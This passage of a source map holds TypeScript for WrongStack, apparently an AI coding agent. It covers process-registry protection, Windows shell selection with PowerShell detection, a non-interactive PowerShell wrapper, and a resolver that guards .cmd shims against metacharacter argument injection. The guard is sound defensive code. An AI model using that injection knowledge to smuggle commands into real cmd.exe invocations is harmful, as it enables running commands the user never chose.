readRegistryFile(this.registryPath);\n const now = Date.now();\n const stalePids: string[] = [];\n\n for (const [_pidStr, entry] of data.instances) {\n const age = now - entry.lastHeartbeat;\n\n if (age > STALE_THRESHOLD_MS) {\n // Check if process is actually dead\n try {\n if (process.platform !== 'win32') {\n process.kill(entry.pid, 0);\n } else {\n // On Windows, try to open the process\n emitStructuredLog(\n 'debug',\n 'process_registry.stale_pid_check',\n `PersistentProcessRegistry: checking stale pid ${entry.pid} (${age}ms old)`,\n );\n }\n\n } catch {\n // Process is dead - mark for removal\n stalePids.push(_pidStr);\n }\n }\n }\n\n if (stalePids.length > 0) {\n for (const pidStr of stalePids) {\n data.instances.delete(pidStr);\n }\n await writeRegistryFile(this.registryPath, data);\n }\n } catch (err) {\n emitStructuredLog('warn', 'process_registry.cleanup_failed', 'PersistentProcessRegistry: cleanup failed', err);\n } finally {\n await release();\n }\n }\n\n /**\n * Check if a PID belongs to a WrongStack process and should be protected.\n */\n async isProtectedPid(pid: number): Promise<boolean> {\n const release = await acquireLock(this.lockPath);\n try {\n const data = await readRegistryFile(this.registryPath);\n const entry = data.instances.get(String(pid));\n\n if (!entry) return false;\n\n // Check if stale\n if ((Date.now() - entry.lastHeartbeat) > STALE_THRESHOLD_MS) {\n return false;\n }\n\n return entry.protected;\n } finally {\n await release();\n }\n }\n\n /**\n * Get all protected PIDs from all WrongStack instances.\n */\n async getAllProtectedPids(): Promise<number[]> {\n const release = await acquireLock(this.lockPath);\n try {\n const data = await readRegistryFile(this.registryPath);\n const now = Date.now();\n const protectedPids: number[] = [];\n\n for (const [_pidStr, entry] of data.instances) {\n if (entry.protected && (now - entry.lastHeartbeat) < STALE_THRESHOLD_MS) {\n protectedPids.push(entry.pid);\n }\n }\n\n return protectedPids;\n } finally {\n await release();\n }\n }\n\n /**\n * Get complete status of all tracked processes across all instances.\n */\n async getGlobalStatus(): Promise<{\n instances: Map<string, PersistentProcessEntry[]>;\n totalProcesses: number;\n protectedCount: number;\n staleCount: number;\n }> {\n const release = await acquireLock(this.lockPath);\n try {\n const data = await readRegistryFile(this.registryPath);\n const now = Date.now();\n const instances = new Map<string, PersistentProcessEntry[]>();\n let protectedCount = 0;\n let staleCount = 0;\n\n for (const [_pidStr, entry] of data.instances) {\n const instanceEntries = instances.get(entry.instanceId) ?? [];\n instanceEntries.push(entry);\n instances.set(entry.instanceId, instanceEntries);\n\n if (entry.protected) protectedCount++;\n if ((now - entry.lastHeartbeat) > STALE_THRESHOLD_MS) staleCount++;\n }\n\n return {\n instances,\n totalProcesses: data.instances.size,\n protectedCount,\n staleCount,\n };\n } finally {\n await release();\n }\n }\n\n /**\n * Get the instance ID for this process.\n */\n getInstanceId(): string {\n return this.instanceId;\n }\n\n /**\n * Check if a kill command should be blocked.\n * Returns true if the kill should be blocked (target is a WrongStack process).\n */\n async shouldBlockKill(pid: number): Promise<boolean> {\n const protectedPids = await this.getAllProtectedPids();\n return protectedPids.includes(pid);\n }\n\n /**\n * Add a pattern-based protection rule.\n * Processes whose command matches any protected pattern are protected.\n */\n async addProtectedPattern(pattern: string): Promise<void> {\n const release = await acquireLock(this.lockPath);\n try {\n const data = await readRegistryFile(this.registryPath);\n if (!data.protectedPatterns.includes(pattern)) {\n data.protectedPatterns.push(pattern);\n await writeRegistryFile(this.registryPath, data);\n }\n } finally {\n await release();\n }\n }\n}\n\n// Singleton instance\nlet _persistentRegistry: PersistentProcessRegistry | undefined;\n\nexport function getPersistentProcessRegistry(): PersistentProcessRegistry {\n if (!_persistentRegistry) {\n _persistentRegistry = new PersistentProcessRegistry();\n }\n return _persistentRegistry;\n}\n\nexport function resetPersistentProcessRegistry(): void {\n if (_persistentRegistry) {\n _persistentRegistry.stop();\n _persistentRegistry = undefined;\n }\n}\n", "/**\n * Shell picker for the `bash` tool on Windows.\n *\n * Historically the bash tool always fell back to `cmd.exe` on Windows \u2014 a\n * reasonable default for the small set of POSIX-style commands the tool was\n * built around (`echo`, `dir`, `cd`, `set`, etc.). That breaks when the\n * caller emits PowerShell-style commands (e.g. Codex on Windows routinely\n * emits `Get-Content`, `Get-ChildItem`, `Set-Location`, \u2026), which `cmd.exe`\n * rejects with \"'Get-Content' is not recognized as an internal or external\n * command, operable program or batch file.\" This module decides \u2014 purely from\n * the command string and a few well-known env vars \u2014 which shell should run\n * the command. It returns a tagged value; bash.ts does the actual spawn.\n *\n * The picker never spawns anything itself, so it is safe to unit-test in\n * isolation. Shell *resolution* (finding the actual binary on PATH) lives in\n * `_win32-resolve.ts` and runs at spawn time.\n * @see {@link ../../docs/configuration.md#windows-shell-selection-wrongstackshell} for user-facing documentation of the WRONGSTACK_SHELL env var and auto-detection behavior.\n *\n * Selection precedence (Windows only):\n * 1. `WRONGSTACK_SHELL` env var, if it names a known shell (cmd | powershell\n * | pwsh). This is the override for users who want a fixed shell.\n * 2. Auto-detect: if the command \"looks like\" PowerShell \u2014 i.e. uses cmdlet\n * verb-noun syntax, $-variables, subexpressions, here-strings, etc. \u2014\n * route to PowerShell. Prefers `pwsh` (PowerShell 7+) and falls back to\n * `powershell` (Windows PowerShell 5.1) at spawn time.\n * 3. Default: `cmd.exe` (preserves legacy behavior).\n *\n * On non-Windows the picker is a no-op \u2014 bash.ts already routes through\n * `/bin/bash -c`. We return `'cmd'` as a sentinel value that means \"the\n * platform default\"; bash.ts maps it to the right binary.\n *\n * See docs/configuration.md \u00A7 \"Windows shell selection (WRONGSTACK_SHELL)\" for\n * user-facing documentation of the env var and auto-detection behaviour.\n */\n\nexport type BashShell = 'cmd' | 'powershell' | 'pwsh';\n\n/** Sentinel returned on POSIX \u2014 bash.ts maps this to `/bin/bash -c`. */\nexport const POSIX_DEFAULT: BashShell = 'cmd';\n\nexport interface PickShellEnv {\n /** Read-only env view. Tests pass `{ get: (k) => process.env[k] }`. */\n get(key: string): string | undefined;\n}\n\n/**\n * Decide which shell should execute `command` on `platform`. Pure function \u2014\n * no I/O, no side effects, no exceptions (invalid input returns the default).\n */\nexport function pickShell(\n platform: NodeJS.Platform,\n command: string,\n env: PickShellEnv,\n): BashShell {\n if (platform !== 'win32') return POSIX_DEFAULT;\n\n // 1. Explicit override. Unknown values are ignored (the override is a\n // safety hatch, not a free-form field \u2014 silently ignoring typos is\n // friendlier than throwing on a config typo).\n const override = env.get('WRONGSTACK_SHELL')?.trim().toLowerCase();\n if (override === 'cmd' || override === 'cmd.exe') return 'cmd';\n if (override === 'powershell' || override === 'powershell.exe') return 'powershell';\n if (override === 'pwsh' || override === 'pwsh.exe') return 'pwsh';\n\n // 2. Auto-detect: command looks like PowerShell.\n if (looksLikePowerShell(command)) return 'pwsh';\n\n // 3. Legacy default.\n return 'cmd';\n}\n\n/**\n * Heuristic PowerShell detector. Conservative on purpose \u2014 false positives\n * route `cmd.exe` work into PowerShell (different parsing rules, different\n * exit-code semantics, sometimes very different stdout), which is more\n * disruptive than a single \"command not recognized\" error. We only return\n * true for patterns that are unambiguously PowerShell.\n *\n * Detected patterns:\n * - cmdlet verb-noun syntax (`Get-`, `Set-`, `New-`, `Remove-`, `Add-`,\n * `Clear-`, `Copy-`, `Move-`, `Rename-`, `Test-`, `Update-`, `Write-`,\n * `Read-`, `Push-`, `Pop-`, `Invoke-`, `Start-`, `Stop-`, `Wait-`,\n * `Out-`, `Format-`, `Group-`, `Measure-`, `Compare-`, `Resolve-`,\n * `ConvertTo-`, `ConvertFrom-`, `Import-`, `Export-`, `Select-`,\n * `Where-`, `ForEach-`, `Sort-`, `Tee-`, `Split-`, `Join-`, `Limit-`,\n * `Skip-`, `Step-`, `Trace-`, `Debug-`, `Register-`, `Unregister-`,\n * `Enable-`, `Disable-`, `Restart-`, `Suspend-`, `Resume-`, `Save-`,\n * `Open-`, `Close-`, `Lock-`, `Unlock-`, `Mount-`, `Dismount-`,\n * `Enter-`, `Exit-`, `Use-`, `Show-`, `Hide-`, `Find-`, `Search-`,\n * `Watch-`, `Initialize-`, `Optimize-`, `Compress-`, `Expand-`,\n * `Convert-`, `Merge-`, `Checkpoint-`, `Undo-`, `Redo-`, `Approve-`,\n * `Deny-`, `Block-`, `Grant-`, `Revoke-`, `Assert-`, `Confirm-`,\n * `Resolve-`, `Wait-`, `Receive-`, `Send-`, `Connect-`, `Disconnect-`,\n * `Read-`, `Write-`).\n * - $-prefixed variables (`$env:`, `$foo`, `$script:bar`, `$_`).\n * - Subexpressions (`$(...)`).\n * - Here-strings (`@\"\u2026\"@`, `@'\u2026'@`).\n * - Splatting (`@(...)` at start of argument, `@{}` hash table).\n * - PowerShell-comparison operators (`-eq`, `-ne`, `-lt`, `-gt`, `-le`,\n * `-ge`, `-like`, `-notlike`, `-match`, `-notmatch`, `-contains`,\n * `-in`, `-and`, `-or`, `-not`, `-band`, `-bor`, `-bxor`,\n * `-replace`, `-split`, `-join`, `-is`, `-as`, `-f`).\n * - `.ps1` extension mentioned in the command.\n * - `&` call operator followed by a `$`-variable (`& $cmd ...`).\n * - Common PowerShell aliases that don't exist in cmd.exe: `gci`, `gi`,\n * `gp`, `sl`, `cd` is ambiguous (cmd.exe has `cd` too \u2014 skip), `ls`\n * ambiguous (cmd.exe does NOT have `ls`), `cat`, `cp`, `mv`, `rm`,\n * `echo` (echo is in cmd too), `gcm`, `gci`, `gps`, `ps`, `select`,\n * `where`, `?`, `%`.\n * - `#requires` directive at start of script.\n * - `param()` block at start of script.\n *\n * The Windows-style path `C:\\` alone is not a PowerShell tell \u2014 both\n * shells accept it. We only flip on PS-specific syntax.\n *\n * The function is case-insensitive and tolerates leading whitespace.\n */\nexport function looksLikePowerShell(command: string): boolean {\n if (!command) return false;\n const trimmed = command.trimStart();\n\n // .ps1 file in the command \u2192 almost certainly PowerShell.\n if (/\\.ps1\\b/i.test(trimmed)) return true;\n\n // #requires directive \u2014 only PowerShell has this.\n if (/^\\s*#requires\\s/i.test(trimmed)) return true;\n\n // param() block at start of script \u2014 PowerShell parameter declaration.\n if (/^\\s*param\\s*\\(/i.test(trimmed)) return true;\n\n // Variable reference / subexpression / here-string / splatting.\n // These four are unambiguous PowerShell syntax \u2014 no false positives in\n // any common cmd.exe or POSIX shell.\n if (/\\$[\\w:{]/i.test(trimmed)) return true; // $foo, $env:PATH, $script:x, $_\n if (/\\$\\(/.test(trimmed)) return true; // $(...)\n if (/@\\s*['\"]/.test(trimmed)) return true; // @'...'@ or @\"...\"@\n if (/&\\s+\\$/.test(trimmed)) return true; // & $cmd args\n if (/(^|\\s)@\\s*\\(/.test(trimmed)) return true; // @(...) splat\n if (/(^|\\s)@\\{/.test(trimmed)) return true; // @{} hash table / splatting\n\n // PowerShell comparison / logical operators. The leading dash + letter\n // pattern is rare in cmd.exe scripts (cmd.exe flags are usually `/x`),\n // so `-eq`, `-like`, etc. are reliable tells. We require a word boundary\n // on each side to avoid matching inside paths like `C:\\foo-eq\\bar`.\n if (/(?:^|[\\s[({,;])(?:-eq|-ne|-lt|-gt|-le|-ge|-like|-notlike|-match|-notmatch|-contains|-notcontains|-in|-notin|-and|-or|-not|-band|-bor|-bxor|-replace|-isplit|-csplit|-osplit|-join|-is|-as|-f)(?:$|[\\s\\])},;])/i.test(trimmed)) {\n return true;\n }\n\n // Cmdlet verb-noun: `<Verb>-<Noun>` where Verb is one of the canonical\n // PowerShell verbs (unambiguous list above). The Verb must be followed\n // by `-` and at least one more hyphen-separated token. This avoids\n // matching unix-style single-dash flags (`-rf`, `-la`) and double-dash\n // flags (`--foo`).\n if (PS_VERB_RE.test(trimmed)) return true;\n\n // Common PowerShell aliases that have no cmd.exe equivalent.\n // `\\b<alias>\\b` at the start of a token; preceded by start-of-string or a\n // command separator so we don't fire on substrings inside longer tokens.\n //\n // Excluded aliases (too ambiguous with cmd.exe builtins / common unix\n // tools that resolve through PATHEXT on Windows):\n // - `where` (cmd.exe `where` finds executables on PATH; PS `where` is\n // Where-Object, a pipeline filter \u2014 totally different semantics).\n // - `select` (cmd.exe has no `select`, but PS `select` is `Select-Object`\n // and we don't want a stray match in scripts that pipe `dir` into\n // something else).\n // - `ps` (single-letter collision with too many tokens; gcm/gps cover\n // the common Get-Process / Get-Command cases more precisely).\n if (/(?:^|[\\s;&|])(gci|gi|gp|gcm|gps|sl|rm|cat|cp|mv)\\b/i.test(trimmed)) {\n return true;\n }\n\n // Second-pass: additional unambiguous PowerShell patterns.\n if (looksLikePowerShellExtended(command)) return true;\n\n return false;\n}\n\n/**\n * Extended PowerShell detection \u2014 patterns that are unambiguous but less\n * common than the verb-noun cmdlets caught by the first pass.\n *\n * Covers: -WhatIf / -Confirm / -ErrorAction flags, trailing `2>&1` in\n * combination with other PS signals, `[type]` casts, Where/ForEach/\n * Select-Object pipeline, PS comment blocks, Write-* output cmdlets,\n * registry paths (HKLM:/HKCU:), -AsPlainText, -PipelineVariable.\n */\nexport function looksLikePowerShellExtended(command: string): boolean {\n if (!command) return false;\n const trimmed = command.trimStart();\n\n // -WhatIf / -Confirm / -ErrorAction \u2014 cmdlet-specific flags.\n // Use \\s before flag (not \\b) because \\b after word chars like `t` in\n // `foo.txt` doesn't match the space before `-WhatIf`.\n if (/(?:^|\\s)[-/](?:WhatIf|Confirm|ErrorAction)(?::[^\\s]+|\\s|=|$)/i.test(trimmed)) {\n return true;\n }\n\n // Pipeline cmdlets that only exist in PowerShell.\n if (/(?:^|[\\s;&|])(Where-Object|ForEach-Object|Select-Object|Sort-Object|Group-Object|Measure-Object|Compare-Object|Tee-Object)(?:\\s|$)/i.test(trimmed)) {\n return true;\n }\n\n // Write-* output cmdlets (Write-Host, Write-Output, Write-Error, etc.)\n if (/\\bWrite-(?:Host|Output|Error|Warning|Verbose|Debug|Information)(?:\\s|$)/i.test(trimmed)) {\n return true;\n }\n\n // Registry provider paths: HKLM:\\ HKCU:\\ HKCR:\\ \u2014 only PowerShell.\n if (/HK(?:LM|CU|CR|U|CC|DD|PD):\\\\/i.test(trimmed)) return true;\n\n // [type] casts: [string], [int], [xml], [System.IO.File] etc.\n if (/\\[(?:string|int|bool|xml|double|float|decimal|char|byte|long|System\\.)/i.test(trimmed)) {\n return true;\n }\n\n // PS comment block start <# ... #>\n if (/^\\s*<#|#>\\s*$/m.test(trimmed)) return true;\n\n // Common PS-only parameters: -AsPlainText, -PipelineVariable/-pv,\n // -FilterHashtable, -OutVariable/-ov\n if (/(?:^|\\s)[-//](?:AsPlainText|PipelineVariable|pv|FilterHashtable|OutVariable|ov)(?:\\s|=|$)/i.test(trimmed)) {\n return true;\n }\n\n return false;\n}\n\n/**\n * Wrap a user command for execution via `pwsh -Command -` (stdin pipe).\n *\n * The wrapper addresses four reliability gaps in Windows PowerShell:\n *\n * 1. **Console output encoding**: PS 5.1 outputs in the system codepage\n * (often Windows-1252) which mojibakes non-ASCII. Setting\n * `[Console]::OutputEncoding = [System.Text.Encoding]::UTF8` at the\n * top of the script ensures UTF-8 output in both editions.\n *\n * 2. **Exit-code propagation**: Native commands (dotnet, npm, node, etc.)\n * set `$LASTEXITCODE`. Without explicit propagation, `pwsh -Command -`\n * exits 0 even when the native command failed. Running the command body\n * and then exiting with `$LASTEXITCODE` when it is numeric preserves native\n * exit codes without swallowing PowerShell output.\n *\n * 3. **Confirmation suppression**: `$ConfirmPreference='None'` suppresses\n * interactive confirmation prompts (e.g. `-Confirm` cmdlets) so scripts\n * don't block waiting for user input. `$WhatIfPreference=$false` ensures\n * commands actually RUN (not just print what they would do).\n *\n * Do not prefix the stdin script with a UTF-8 BOM. Some PowerShell builds do\n * not strip it when reading `-Command -` and treat it as part of the first\n * command name (`\\uFEFF[Console]::OutputEncoding`), causing every wrapped\n * command to fail before the user's script runs.\n */\nexport function wrapPowerShellScript(command: string): string {\n const bootstrap =\n '[Console]::OutputEncoding = [System.Text.Encoding]::UTF8;' +\n \"$ConfirmPreference='None';$WhatIfPreference=$false\";\n return (\n bootstrap +\n \"\\n$ErrorActionPreference='Stop'\\n\" +\n command +\n '\\nif ($LASTEXITCODE -is [int]) { exit $LASTEXITCODE }'\n );\n}\n\n/**\n * The canonical PowerShell verbs (and their common variants). Used only by\n * `looksLikePowerShell` to detect `<Verb>-<Noun>` cmdlet syntax. The full\n * list is long; we cover every verb in the PowerShell 7 SDK's\n * `VerbsCommon`, `VerbsData`, `VerbsDiagnostic`, `VerbsLifecycle`,\n * `VerbsOther`, `VerbsSecurity`, and `VerbsCommunications` modules, plus the\n * most-used verbs from `VerbsApproved`.\n *\n * We list them in the regex below rather than as a Set because matching is\n * done in a single regex pass over the command string \u2014 building a Set and\n * scanning every token would be slower and harder to read.\n */\nconst PS_VERB_RE = new RegExp(\n // Boundaries: start-of-string, whitespace, `;`, `&`, `|`, `(`, `{`, `,`.\n '(?:^|[\\\\s;&|\\\\(\\\\{,])' +\n // The verb itself, followed by `-`.\n '(?:' +\n 'Get|Set|New|Remove|Add|Clear|Copy|Move|Rename|Test|Update|Write|Read|Push|Pop|Invoke|Start|Stop|Wait|' +\n 'Out|Format|Group|Measure|Compare|Resolve|ConvertTo|ConvertFrom|Convert|Import|Export|Select|Where|ForEach|Sort|' +\n 'Tee|Split|Join|Limit|Skip|Step|Trace|Debug|Register|Unregister|Enable|Disable|Restart|Suspend|Resume|Save|' +\n 'Open|Close|Lock|Unlock|Mount|Dismount|Enter|Exit|Use|Show|Hide|Find|Search|Watch|Initialize|Optimize|' +\n 'Compress|Expand|Merge|Checkpoint|Undo|Redo|Approve|Deny|Block|Grant|Revoke|Assert|Confirm|Receive|Send|' +\n 'Connect|Disconnect|Reset|Backup|Restore|Publish|Unpublish|Install|Uninstall|Build|Rebuild|Deploy|' +\n 'Submit|Process|Complete|Approve|Revoke|Pay|Refund|Decline|Receive|Send' +\n ')-' +\n // Noun: at least one non-space, non-quote character. We require a `-`\n // after the verb, so the matched token is at minimum `Verb-X` \u2014 already\n // cmdlet-shaped. Noun chars are `[A-Za-z0-9]`; PowerShell noun tokens\n // never contain spaces or punctuation.\n '[A-Za-z][A-Za-z0-9]+(?:[\\\\-\\\\+][A-Za-z][A-Za-z0-9]+)*' +\n // Optional: followed by whitespace, end-of-string, `-` (continuation),\n // or a flag. This avoids matching only the *prefix* of a longer token\n // (e.g. `Get-Content` shouldn't fire if the next char is itself a\n // letter forming part of a longer path \u2014 but paths can't follow a\n // cmdlet verb without a space, so a trailing non-letter is sufficient).\n '(?:$|[\\\\s\\\\-\\\\;\\\\&\\\\|\\\\(\\\\)\\\\{\\\\},])',\n 'i',\n);\n\n/**\n * Return the argv prefix for a given shell. The bash tool passes a single\n * command string and expects the shell to interpret it. cmd.exe uses\n * `/c <cmd>`; PowerShell uses `-NoLogo -NoProfile -NonInteractive -Command -`\n * and reads the script from stdin (the `-` at the end is the documented way\n * to tell PowerShell \"the script is on stdin, not as an argument\"). Stdin\n * pipe sidesteps the entire class of quoting bugs that arise from\n * interpolating multi-line / single-quoted / dollar-sign-laden scripts into\n * a `-Command \"...\"` string.\n */\nexport function shellArgs(shell: BashShell): string[] {\n if (shell === 'powershell' || shell === 'pwsh') {\n return ['-NoLogo', '-NoProfile', '-NonInteractive', '-Command', '-'];\n }\n return ['/c'];\n}\n\n/**\n * Post-failure diagnosis: when a Windows shell command exits non-zero, scan it\n * for bash/POSIX idioms the shell does not accept and return a short, targeted\n * hint (with the right replacement) so the model self-corrects on the next turn.\n *\n * Deliberately **failure-coupled** \u2014 the bash tool only calls this on a\n * non-zero exit. That keeps it noise-free (PowerShell aliases `ls`/`cat`/`rm`\n * succeed, so they never reach here) and side-steps shell-version nuance: `&&`\n * works in PowerShell 7 and cmd.exe (so those commands succeed and are never\n * flagged) but breaks in Windows PowerShell 5.1 (where the command fails and is\n * flagged). Never mutates or blocks \u2014 advisory only.\n *\n * Returns `undefined` when nothing actionable is found (including any POSIX\n * call \u2014 bash idioms are correct there).\n */\nexport function diagnoseBashism(command: string, shell: BashShell): string | undefined {\n if (!command) return undefined;\n const isCmd = shell === 'cmd';\n const hints: string[] = [];\n const add = (h: string) => {\n if (!hints.includes(h)) hints.push(h);\n };\n\n if (/\\/dev\\/null/.test(command)) {\n add(\n isCmd\n ? 'use `nul` instead of `/dev/null` (e.g. `2>nul`)'\n : 'use `$null` instead of `/dev/null` (e.g. `2>$null`)',\n );\n }\n if (/(^|[;&|]\\s*)export\\s+[A-Za-z_]\\w*=/.test(command)) {\n add(\n isCmd\n ? 'set env vars with `set NAME=value`, not `export`'\n : \"set env vars with `$env:NAME = 'value'`, not `export`\",\n );\n }\n if (/<<-?\\s*['\"]?[A-Za-z_]\\w*/.test(command)) {\n add(\n isCmd\n ? 'cmd has no heredocs \u2014 write the content to a file or use multiple `echo` lines'\n : \"PowerShell has no heredocs \u2014 use a single-quoted here-string `@'\u2026'@` (closing `'@` at column 0)\",\n );\n }\n // && / || only break in Windows PowerShell 5.1; pwsh 7 and cmd.exe accept them\n // (and those commands therefore succeed and never reach this diagnosis).\n if (shell === 'powershell' && /(&&|\\|\\|)/.test(command)) {\n add('Windows PowerShell 5.1 has no `&&`/`||` \u2014 separate commands with `;` (check `$LASTEXITCODE`)');\n }\n if (/\\brm\\s+-[A-Za-z]*[rf]/.test(command)) {\n add(\n isCmd\n ? '`rm` is not a cmd builtin \u2014 use `del` (files) or `rmdir /s /q` (dirs)'\n : \"use `Remove-Item -Recurse -Force` \u2014 the `rm -rf` bash flags don't exist in PowerShell\",\n );\n }\n if (/\\bwhich\\s+\\S/.test(command)) {\n add(isCmd ? 'use `where <cmd>` instead of `which`' : 'use `Get-Command <cmd>` instead of `which`');\n }\n\n if (hints.length === 0) return undefined;\n const label = isCmd ? 'cmd.exe' : shell === 'pwsh' ? 'PowerShell 7' : 'Windows PowerShell';\n return `[wrongstack] This command failed and contains bash/POSIX syntax that ${label} does not accept \u2014 ${hints.join('; ')}. Rewrite it in ${isCmd ? 'cmd' : 'PowerShell'} syntax and retry.`;\n}\n", "import * as fs from 'node:fs';\nimport * as path from 'node:path';\n\n/**\n * On Windows, Node.js `spawn()` without a shell does NOT resolve .cmd/.bat\n * extensions through PATHEXT \u2014 it only auto-resolves .exe. Most Node.js CLI\n * tools (npx, pnpm, biome, tsc, vitest, etc.) ship as .cmd wrappers on\n * Windows. This function resolves the command name to its full path so spawn\n * can find it without relying on shell-mode argument concatenation.\n *\n * On non-Windows, returns the command unchanged.\n */\nexport function resolveWin32Command(cmd: string): string {\n if (process.platform !== 'win32') return cmd;\n\n // Already has a path or extension \u2014 use as-is\n // Normalize forward slashes so path.extname correctly detects extensions\n // even when a Unix-style path is passed on Windows.\n if (cmd.includes('/') || cmd.includes('\\\\') || path.extname(cmd.replace(/\\//g, '\\\\'))) {\n return cmd;\n }\n\n const pathext = (process.env['PATHEXT'] ?? '.COM;.EXE;.BAT;.CMD;.VBS;.JS;.WS;.MSC')\n .toLowerCase()\n .split(';');\n\n const pathDirs = (process.env['PATH'] ?? '').split(path.delimiter);\n\n for (const dir of pathDirs) {\n const base = path.join(dir, cmd);\n // Check extensions in PATHEXT order. .EXE should win first because\n // it's typically listed first, and .exe doesn't need shell: true.\n for (const ext of pathext) {\n const full = `${base}${ext}`;\n try {\n fs.accessSync(full, fs.constants.X_OK);\n return full;\n } catch {\n // Not found with this extension \u2014 try next\n }\n }\n }\n\n // Not found \u2014 return original; let spawn report ENOENT with the\n // expected error message so tools can surface it properly.\n return cmd;\n}\n\n/**\n * Resolve a PowerShell binary by name. `pickShell` in `_shell-pick.ts`\n * already decides whether the user wants `'pwsh'` (PowerShell 7+) or\n * `'powershell'` (Windows PowerShell 5.1). This helper turns that decision\n * into a real on-disk path.\n *\n * Order:\n * 1. If `cmd` is `pwsh` and a `pwsh.exe` exists on PATH \u2192 return that.\n * 2. If `cmd` is `pwsh` and only `powershell.exe` exists \u2192 fall back to\n * that (the alternative is a cryptic ENOENT for the user).\n * 3. Symmetric for `powershell`: prefer `powershell.exe`, fall back to\n * `pwsh.exe` if installed and the legacy binary is missing.\n * 4. Anything else \u2192 delegate to `resolveWin32Command` (handles `.cmd`\n * shims a sysadmin might drop in place, etc.).\n *\n * Returns the original command on ENOENT \u2014 `spawn()` will surface a clean\n * ENOENT and the user sees \"PowerShell not installed\", which is the right\n * diagnostic. We never throw from here.\n */\nexport function resolvePowerShell(cmd: string): string {\n if (process.platform !== 'win32') return cmd;\n const lower = cmd.toLowerCase();\n if (lower !== 'pwsh' && lower !== 'powershell' && lower !== 'pwsh.exe' && lower !== 'powershell.exe') {\n return resolveWin32Command(cmd);\n }\n // Prefer the requested edition, fall back to the other one.\n const primary = lower.startsWith('pwsh') ? 'pwsh.exe' : 'powershell.exe';\n const fallback = lower.startsWith('pwsh') ? 'powershell.exe' : 'pwsh.exe';\n const resolved = resolveWin32Command(primary);\n if (resolved !== primary) {\n // resolveWin32Command returns the original string when not found.\n const fb = resolveWin32Command(fallback);\n return fb === fallback ? cmd : fb;\n }\n return resolved;\n}\n\n/**\n * cmd.exe metacharacters that chain a new command or redirect I/O. When a\n * `.cmd`/`.bat` wrapper is launched through `cmd.exe`, any argument carrying\n * one of these can break out of the intended command line and run an\n * attacker-chosen command (the CVE-2024-27980 / \"BatBadBut\" argument-injection\n * class). We use a single vetted command line for cmd shims, so this guard is\n * mandatory before spawning.\n *\n * The set is limited to the unambiguous command-separator / redirection chars\n * plus newlines and NUL. Legitimate package-manager / test-runner flags and\n * Windows file paths (which use `:` `\\` `/` `.` `-` `_` space `(` `)`) never\n * contain these, so the guard is false-positive-free. Double quotes are also\n * rejected because cmd.exe quote toggling can break argument grouping.\n */\nconst WIN32_SHELL_META = /[&|<>\"\\r\\n\\0]/;\n\nexport interface Win32CmdShimInvocation {\n command: string;\n args: string[];\n windowsVerbatimArguments: true;\n}\n\n/**\n * Throw if any argument contains a cmd.exe command-injection metacharacter.\n * Call this ONLY on the Windows `.cmd`/`.bat` shim path. A no-op for safe args.\n */\nexport function assertSafeWin32ShellArgs(args: readonly unknown[]): void {\n for (const arg of args) {\n if (typeof arg === 'string' && WIN32_SHELL_META.test(arg)) {\n throw new Error(\n 'win32 cmd shim spawn: argument contains a shell metacharacter ' +\n '(one of & | < > \", or a newline) that could enable command injection ' +\n 'through the .cmd/.bat wrapper - refusing to run. Offending argument: ' +\n JSON.stringify(arg),\n );\n }\n }\n}\n\nexport function buildWin32CmdShimInvocation(\n command: string,\n args: readonly string[] = [],\n): Win32CmdShimInvocation {\n assertSafeWin32ShellArgs([command, ...args]);\n const line = ['call', quoteWin32CmdArg(command), ...args.map(quoteWin32CmdArg)].join(' ');\n return {\n command: process.env['COMSPEC'] ?? 'cmd.exe',\n args: ['/d', '/c', line],\n windowsVerbatimArguments: true,\n };\n}\n\nfunction quoteWin32CmdArg(arg: string): string {\n return `\"${arg}\"`;\n}\n"],
|
|
5
|
-
"mappings": ";AAAA,SAAS,SAAAA,cAAa;AACtB,YAAYC,SAAQ;;;ACGpB,SAAS,qBAAqB;;;ACoB9B,SAAS,mBAAmB,iBAAmC;AAC/D,YAAY,SAAS;AACrB,YAAY,UAAU;AACtB,SAAS,wBAAwB;AAEjC,IAAM,qBAAqB,IAAI,KAAK,KAAK,KAAK;AAE9C,IAAM,wBAAwB,IAAI,OAAO;AAEzC,IAAI,eAAe;AAGZ,SAAS,gBAAwB;AACtC,SAAY,UAAK,iBAAiB,GAAG,aAAa;AACpD;AAOA,SAAS,mBAAmB,KAAmB;AAC7C,MAAI,aAAc;AAClB,iBAAe;AACf,QAAM,YAAY;AAChB,QAAI;AACF,YAAM,MAAM,KAAK,IAAI;AACrB,iBAAW,QAAQ,MAAU,YAAQ,GAAG,GAAG;AACzC,YAAI,CAAC,KAAK,SAAS,MAAM,EAAG;AAC5B,cAAM,IAAS,UAAK,KAAK,IAAI;AAC7B,YAAI;AACF,gBAAM,KAAK,MAAU,SAAK,CAAC;AAC3B,cAAI,MAAM,GAAG,UAAU,mBAAoB,OAAU,WAAO,CAAC;AAAA,QAC/D,QAAQ;AAAA,QAER;AAAA,MACF;AAAA,IACF,QAAQ;AAAA,IAER;AAAA,EACF,GAAG;AACL;AAoCO,SAAS,UAAU,MAAyB;AACjD,QAAM,UACJ,KAAK,eAAe,IAAI,MAAM,KAAK,YAAY,sCAAsC;AACvF,SAAO;AAAA,gCAA8B,KAAK,KAAK,aAAa,KAAK,IAAI,GAAG,OAAO;AACjF;AAEO,SAAS,kBAAkB,MAA6C;AAC7E,QAAM,YAAY,KAAK,kBAAkB;AACzC,QAAM,WAAW,KAAK,KAAK,QAAQ,qBAAqB,GAAG,EAAE,MAAM,GAAG,EAAE,KAAK;AAE7E,MAAI,OAAO;AACX,MAAI,YAAY;AAChB,MAAI,aAAa;AACjB,MAAI,eAAe;AACnB,MAAI,SAA6B;AACjC,MAAI,WAA0B;AAC9B,MAAI,SAAS;AACb,MAAI,YAAY;AAEhB,QAAM,OAAO,MAAY;AACvB,QAAI,UAAU,OAAQ;AACtB,QAAI;AACF,YAAM,MAAM,cAAc;AAI1B,gBAAU,KAAK,EAAE,WAAW,KAAK,CAAC;AAClC,yBAAmB,GAAG;AACtB,YAAM,SAAQ,oBAAI,KAAK,GAAE,YAAY,EAAE,QAAQ,SAAS,GAAG;AAC3D,YAAM,OAAO,KAAK,OAAO,EAAE,SAAS,EAAE,EAAE,MAAM,GAAG,CAAC;AAClD,iBAAgB,UAAK,KAAK,GAAG,KAAK,IAAI,QAAQ,IAAI,IAAI,MAAM;AAC5D,eAAS,kBAAkB,UAAU,EAAE,OAAO,KAAK,UAAU,OAAO,CAAC;AACrE,aAAO,GAAG,SAAS,MAAM;AAEvB,iBAAS;AACT,iBAAS;AACT,mBAAW;AAAA,MACb,CAAC;AAED,aAAO,MAAM,IAAI;AAAA,IACnB,QAAQ;AACN,eAAS;AACT,eAAS;AACT,